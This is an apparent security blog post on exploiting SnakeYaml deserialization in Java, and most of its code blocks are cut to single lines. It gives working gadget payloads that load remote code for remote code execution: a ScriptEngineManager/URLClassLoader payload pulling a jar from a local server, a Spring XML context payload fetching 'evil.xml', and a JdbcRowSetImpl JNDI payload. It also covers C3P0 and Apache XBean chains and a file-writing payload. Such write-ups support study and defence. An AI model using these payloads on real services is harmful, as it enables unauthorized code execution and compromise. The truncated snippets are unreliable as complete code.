SnakeYaml Exploit
Introduction
SnakeYaml is a yaml parsing library for Java that supports serialization/deserialization of Java objects.
Demo
1 |
|
1 | public class Person { |
dump
1 | public class demo { |
1 | getAge |
!!
is used to force type conversions, similar to the @type
field in fastjson
dump() also calls the getter
method of the non-public members.
load
1 | public class demo { |
1 | Non Arg Constructor |
load()
invokes a setter with no reference constructors and non-public members.
In fact, not only can a non-reference constructor be called, but a reference constructor can also be specified to be called, as long as the passed parameter type is the parameter type of the reference constructor.
If a class attribute is publicly modified, the corresponding setter method will not be called, but will be set by reflection.
Exploit
SnakeYaml can only call setter methods in non-public, static, and transient scopes.
ScriptEngineManager
We can use the SPI mechanism to remotely load malicious bytecode files via URLClassLoader
by constructing a ScriptEngineManagerpayload
.
EXP
Tool: https://github.com/artsploit/yaml-payload
Exp:
1 | !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"] ]] ] |
Code Analysing
In this payload, we init a ClassLoader in ScriptEngineManager
.
Next, we init the engine.
Next is a classical SPI iterator.
next() => nextService()
loads the interface implementation class and instantiates it.
SpringFramework
There are two classes in Spring whose constructors remotely load configurations that can form an RCE
1 | org.springframework.context.support.ClassPathXmlApplicationContext org.springframework.context.support.FileSystemXmlApplicationContext |
EXP
1 | <beans xmlns="http://www.springframework.org/schema/beans" |
1 | !!org.springframework.context.support.ClassPathXmlApplicationContext ["http://127.0.0.1:9999/evil.xml"] |
Some FastJson Gadget Chains
Most of fastjson’s payloads will also work
JdbcRowImpl
1 | String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/Exploit\", autoCommit: true}"; |
Spring PropertyPathFactoryBean
1 | public class SpringPropertyPathFactoryBeanEXP { |
C3P0 JndiRefForwardingDataSource
1 | public class C3P0JndiRefForwardingDataSourceEXP { |
C3P0 WrapperConnectionPoolDataSource
1 | String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + |
Apache XBean
This chain has no version limitation.
1 | <dependency> |
EXP
1 | import org.yaml.snakeyaml.Yaml; |
Code Analysing
In ContextUtil$ReadOnlyBinding#getObject
, we call the method resolve
, where exist a JNDI injection.
However, the fields in ContextUtil$ReadOnlyBinding
are final modified, so we can’t call the getObject
directly.
However, its father class’s toString
call the getObject
method.
So we can use BadAttributeValueExpException
to call the toString
File Writing
1 | !!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },length]] |
we can write a jar file and load a local class.
Reference
https://drun1baby.top/2022/10/16/Java反序列化之-SnakeYaml-链/